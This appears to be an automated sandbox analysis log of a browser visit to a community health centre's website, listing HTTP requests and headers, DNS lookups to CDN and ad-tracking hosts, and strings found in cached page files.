Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/acf_block_tab_with_content.css?ver=230904-91943 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/servicesAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962725.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/acf_block_call_to_action.css?ver=230904-91935 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://valleyprohealth.org/servicesAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962725.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/vpchc/dist/acf_block_tab_with_content.bundle.js?ver=230904-91943 HTTP/1.1Host: valleyprohealth.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://valleyprohealth.org/servicesAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962725.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2020/07/img__services-1536x712.jpg HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962725.0.0.0; _ga=GA1.1.446872372.1713962665
Source: global traffic	HTTP traffic detected: GET /cache/app/wildcards.json HTTP/1.1Host: cdn.acsbapp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://valleyprohealth.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "de3119f737ac997fbb853cf24e7025b5"If-Modified-Since: Wed, 24 Apr 2024 00:00:03 GMT
Source: global traffic	HTTP traffic detected: GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1Host: listgrowth.ctctcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://valleyprohealth.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6aba559afcf8291c518df6fa4c481556"If-Modified-Since: Wed, 10 Apr 2024 20:08:09 GMT
Source: global traffic	HTTP traffic detected: GET /cache/app/wildcards.json HTTP/1.1Host: cdn.acsbapp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "de3119f737ac997fbb853cf24e7025b5"If-Modified-Since: Fri, 19 Apr 2024 00:00:03 GMT
Source: global traffic	HTTP traffic detected: GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1Host: listgrowth.ctctcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6aba559afcf8291c518df6fa4c481556"If-Modified-Since: Wed, 10 Apr 2024 20:08:09 GMT
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cHM6Ly92YWxsZXlwcm9oZWFsdGgub3JnOjQ0Mw..&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=vigs5q7xdexj HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6df3iLGsJeeL1ZhHsDkSUGdkAxFQ0QUTQ5TeldRivfX23JUPR2AxDr3G7Qouv7-NQQVq71Tl6HC3imi85E; NID=513=UOTnu3DTHjkAMN_AKxC1bWfz-TMuAkBQHuEWud0wYNbyadN-jsgCI4rVwUD5kj6TumhiT2jGUOqwnycr9nLPAvIATSjM6wIk2x1A1W3OuupDJ9gyLGRtuU80fQEcLJrLlPv7XkjqU9ZpIRQu9Ui7rvqFgr7a4QC3umozUl1sS9E
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6df3iLGsJeeL1ZhHsDkSUGdkAxFQ0QUTQ5TeldRivfX23JUPR2AxDr3G7Qouv7-NQQVq71Tl6HC3imi85E; NID=513=UOTnu3DTHjkAMN_AKxC1bWfz-TMuAkBQHuEWud0wYNbyadN-jsgCI4rVwUD5kj6TumhiT2jGUOqwnycr9nLPAvIATSjM6wIk2x1A1W3OuupDJ9gyLGRtuU80fQEcLJrLlPv7XkjqU9ZpIRQu9Ui7rvqFgr7a4QC3umozUl1sS9E
Source: global traffic	HTTP traffic detected: GET /track/up?adv=3l6d758&ref=https%3A%2F%2Fvalleyprohealth.org%2Fservices&upid=6su09yz&upv=1.1.0 HTTP/1.1Host: insight.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://valleyprohealth.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFKAMyCwi4svOo5JnyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA7LjcbJjjYNoXnHdP3oeBQRJ_9LAsk_nugOdAHY58B82Yb1hs851KZhqBW95Wtoe5xeO-_rvSxt2TJRjIkhg2Qsr9esXafinJUyXkfTttXhh06AGxtrzRR5KfGfn8ig9E6OUr0EPEz1Lp4TPCo2DV3QJUCKViPs1oFgsKDQL-LgsTgSVyYZTlYl9WNg5ym2Df8b5DMm&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--VrAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6d3GaTVt9LmQh_xcdk9ZgH29mfHb0FZsJch4Tu-G1p8NrkjO8SwWDyyRgYTR_E-WENE2OMXu_PzjeMjcvY; NID=513=UOTnu3DTHjkAMN_AKxC1bWfz-TMuAkBQHuEWud0wYNbyadN-jsgCI4rVwUD5kj6TumhiT2jGUOqwnycr9nLPAvIATSjM6wIk2x1A1W3OuupDJ9gyLGRtuU80fQEcLJrLlPv7XkjqU9ZpIRQu9Ui7rvqFgr7a4QC3umozUl1sS9E
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6d3GaTVt9LmQh_xcdk9ZgH29mfHb0FZsJch4Tu-G1p8NrkjO8SwWDyyRgYTR_E-WENE2OMXu_PzjeMjcvY; NID=513=UOTnu3DTHjkAMN_AKxC1bWfz-TMuAkBQHuEWud0wYNbyadN-jsgCI4rVwUD5kj6TumhiT2jGUOqwnycr9nLPAvIATSjM6wIk2x1A1W3OuupDJ9gyLGRtuU80fQEcLJrLlPv7XkjqU9ZpIRQu9Ui7rvqFgr7a4QC3umozUl1sS9E
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA7LjcbJjjYNoXnHdP3oeBQRJ_9LAsk_nugOdAHY58B82Yb1hs851KZhqBW95Wtoe5xeO-_rvSxt2TJRjIkhg2Qsr9esXafinJUyXkfTttXhh06AGxtrzRR5KfGfn8ig9E6OUr0EPEz1Lp4TPCo2DV3QJUCKViPs1oFgsKDQL-LgsTgSVyYZTlYl9WNg5ym2Df8b5DMm&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AKPP-6d3GaTVt9LmQh_xcdk9ZgH29mfHb0FZsJch4Tu-G1p8NrkjO8SwWDyyRgYTR_E-WENE2OMXu_PzjeMjcvY; NID=513=UOTnu3DTHjkAMN_AKxC1bWfz-TMuAkBQHuEWud0wYNbyadN-jsgCI4rVwUD5kj6TumhiT2jGUOqwnycr9nLPAvIATSjM6wIk2x1A1W3OuupDJ9gyLGRtuU80fQEcLJrLlPv7XkjqU9ZpIRQu9Ui7rvqFgr7a4QC3umozUl1sS9E
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery.slick/1.5.1/slick-theme.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://valleyprohealth.org/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery.slick/1.5.1/slick.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://valleyprohealth.org/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: valleyprohealth.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.0.1713962665.0.0.0; _ga=GA1.1.446872372.1713962665

Source: chromecache_415.2.dr, chromecache_472.2.dr	String found in binary or memory: <a href="https://www.facebook.com/vpchc" class="social-link d-flex align-items-center justify-content-center rounded-circle" target="_blank" rel="nofollow"> equals www.facebook.com (Facebook)
Source: chromecache_472.2.dr	String found in binary or memory: <script type="application/ld+json" class="schema-premium">{"@context":"http:\/\/schema.org\/","@type":"WPHeader","url":"https:\/\/valleyprohealth.org","headline":"ValleyProHealth.org","description":"We provide primary care, behavioral health, dental and patient support services all in one place."}</script><script type="application/ld+json" class="schema-premium">{"@context":"http:\/\/schema.org","@type":"Organization","@id":"https:\/\/valleyprohealth.org\/#organization","name":"VPCHC","url":"https:\/\/valleyprohealth.org\/","logo":{"@type":"ImageObject","url":"https:\/\/valleyprohealth.org\/wp-content\/uploads\/2020\/08\/vpchc-logo-png.png","width":363,"height":60,"@id":"https:\/\/valleyprohealth.org\/#logo"},"image":{"@type":"ImageObject","url":"https:\/\/valleyprohealth.org\/wp-content\/uploads\/2020\/08\/vpchc-logo-png.png","width":363,"height":60,"@id":"https:\/\/valleyprohealth.org\/#logo"},"contactPoint":{"@type":"ContactPoint","telephone":"","url":"http:\/\/valleyprohealth.org\/contact-us","contactType":"customer support"},"sameAs":["https:\/\/www.facebook.com\/VPCHC\/","https:\/\/twitter.com\/ValleyProHealth"]}</script><script type="application/ld+json" class="schema-premium">{"@context":"http:\/\/schema.org","@type":"WebSite","@id":"#website","url":"https:\/\/valleyprohealth.org","potentialAction":{"@type":"SearchAction","target":"https:\/\/valleyprohealth.org\/?s={search_term_string}","query-input":"required name=search_term_string"},"name":"VPCHC","alternateName":"Valley Professionals Community Health Center"}</script><script type="application/ld+json" class="schema-premium">{"@context":"http:\/\/schema.org\/","@type":"WPFooter","url":"https:\/\/valleyprohealth.org","headline":"ValleyProHealth.org","description":"We provide primary care, behavioral health, dental and patient support services all in one place.","copyrightYear":"2020"}</script> equals www.facebook.com (Facebook)
Source: chromecache_472.2.dr	String found in binary or memory: <script type="application/ld+json" class="schema-premium">{"@context":"http:\/\/schema.org\/","@type":"WPHeader","url":"https:\/\/valleyprohealth.org","headline":"ValleyProHealth.org","description":"We provide primary care, behavioral health, dental and patient support services all in one place."}</script><script type="application/ld+json" class="schema-premium">{"@context":"http:\/\/schema.org","@type":"Organization","@id":"https:\/\/valleyprohealth.org\/#organization","name":"VPCHC","url":"https:\/\/valleyprohealth.org\/","logo":{"@type":"ImageObject","url":"https:\/\/valleyprohealth.org\/wp-content\/uploads\/2020\/08\/vpchc-logo-png.png","width":363,"height":60,"@id":"https:\/\/valleyprohealth.org\/#logo"},"image":{"@type":"ImageObject","url":"https:\/\/valleyprohealth.org\/wp-content\/uploads\/2020\/08\/vpchc-logo-png.png","width":363,"height":60,"@id":"https:\/\/valleyprohealth.org\/#logo"},"contactPoint":{"@type":"ContactPoint","telephone":"","url":"http:\/\/valleyprohealth.org\/contact-us","contactType":"customer support"},"sameAs":["https:\/\/www.facebook.com\/VPCHC\/","https:\/\/twitter.com\/ValleyProHealth"]}</script><script type="application/ld+json" class="schema-premium">{"@context":"http:\/\/schema.org","@type":"WebSite","@id":"#website","url":"https:\/\/valleyprohealth.org","potentialAction":{"@type":"SearchAction","target":"https:\/\/valleyprohealth.org\/?s={search_term_string}","query-input":"required name=search_term_string"},"name":"VPCHC","alternateName":"Valley Professionals Community Health Center"}</script><script type="application/ld+json" class="schema-premium">{"@context":"http:\/\/schema.org\/","@type":"WPFooter","url":"https:\/\/valleyprohealth.org","headline":"ValleyProHealth.org","description":"We provide primary care, behavioral health, dental and patient support services all in one place.","copyrightYear":"2020"}</script> equals www.twitter.com (Twitter)
Source: chromecache_450.2.dr	String found in binary or memory: disableRealtimeCallback:!1,drive_share:{skipInitCommand:!0},csi:{rate:.01},client:{cors:!1},signInDeprecation:{rate:0},include_granted_scopes:!0,llang:"en",iframes:{youtube:{params:{location:["search","hash"]},url:":socialhost:/:session_prefix:_/widget/render/youtube?usegapi=1",methods:["scroll","openwindow"]},ytsubscribe:{url:"https://www.youtube.com/subscribe_embed?usegapi=1"},plus_circle:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/plus/circle?usegapi=1"},plus_share:{params:{url:""}, equals www.youtube.com (Youtube)
Source: chromecache_524.2.dr, chromecache_416.2.dr, chromecache_398.2.dr, chromecache_569.2.dr, chromecache_491.2.dr, chromecache_400.2.dr	String found in binary or memory: return b}yC.J="internal.enableAutoEventOnTimer";var dc=ka(["data-gtm-yt-inspected-"]),AC=["www.youtube.com","www.youtube-nocookie.com"],BC,CC=!1; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: valleyprohealth.org
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: translate.google.com
Source: global traffic	DNS traffic detected: DNS query: maps.google.com
Source: global traffic	DNS traffic detected: DNS query: connect.facebook.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: static.ctctcdn.com
Source: global traffic	DNS traffic detected: DNS query: js.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: acsbapp.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.acsbapp.com
Source: global traffic	DNS traffic detected: DNS query: listgrowth.ctctcdn.com
Source: global traffic	DNS traffic detected: DNS query: insight.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: match.adsrvr.org
Source: global traffic	DNS traffic detected: DNS query: pixel.rubiconproject.com
Source: global traffic	DNS traffic detected: DNS query: ib.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: cm.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: dsum-sec.casalemedia.com
Source: global traffic	DNS traffic detected: DNS query: x.bidswitch.net
Source: global traffic	DNS traffic detected: DNS query: simage2.pubmatic.com
Source: global traffic	DNS traffic detected: DNS query: www.healowpay.com
Source: global traffic	DNS traffic detected: DNS query: mycw108.ecwcloud.com
Source: global traffic	DNS traffic detected: DNS query: calendar.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: clients6.google.com

Source: unknown

HTTP traffic detected: POST /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1Host: www.google.comConnection: keep-aliveContent-Length: 8108sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-protobufferAccept: */*Origin: https://www.google.comX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--VrAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 12:44:28 GMTContent-Type: application/xml; charset=UTF-8Content-Length: 127Connection: closex-guploader-uploadid: ABPtcPo3UBDyL2d0o9WlvrqagSM3JtmTkjvAbqD4m3i6Q6-wZNqJVpj2-8C8ptUHDLpbNb2Y9pAaccess-control-allow-origin: access-control-expose-headers: , Cache-Control, Content-Length, Date, Expires, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-Traceexpires: Wed, 24 Apr 2024 12:44:28 GMTCache-Control: public, max-age=300, must-revalidateCF-Cache-Status: MISSServer: cloudflareCF-RAY: 87962f54c85b09f5-LAS
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 12:45:08 GMTContent-Type: application/xml; charset=UTF-8Content-Length: 127Connection: closex-guploader-uploadid: ABPtcPo3NbZ4q5rFYvocp3Jg6Rc5w5SqmlNJpzsaqOdypGb19ne2WMAAnTcDcT-nZwcTQhkKhYMaccess-control-allow-origin: access-control-expose-headers: , Cache-Control, Content-Length, Date, Expires, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-Traceexpires: Wed, 24 Apr 2024 12:45:08 GMTCache-Control: public, max-age=300, must-revalidateCF-Cache-Status: MISSServer: cloudflareCF-RAY: 879630503c9609ed-LAS

Source: chromecache_464.2.dr	String found in binary or memory: Http://bugs.jqueryui.com/ticket/9446
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/accordion/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/autocomplete/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/blind-effect/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/bounce-effect/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/button/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/category/effects-core/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/checkboxradio/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/clip-effect/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/controlgroup/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/data-selector/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/datepicker/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/dialog/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/disableSelection/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/draggable/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/drop-effect/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/droppable/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/explode-effect/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/fade-effect/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/focusable-selector/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/fold-effect/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/form-reset-mixin/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/highlight-effect/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/jQuery.ui.keyCode/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/jQuery.widget/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/labels/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/menu/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/mouse/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/position/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/progressbar/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/puff-effect/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/pulsate-effect/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/resizable/
Source: chromecache_464.2.dr	String found in binary or memory: http://api.jqueryui.com/scale-effect/
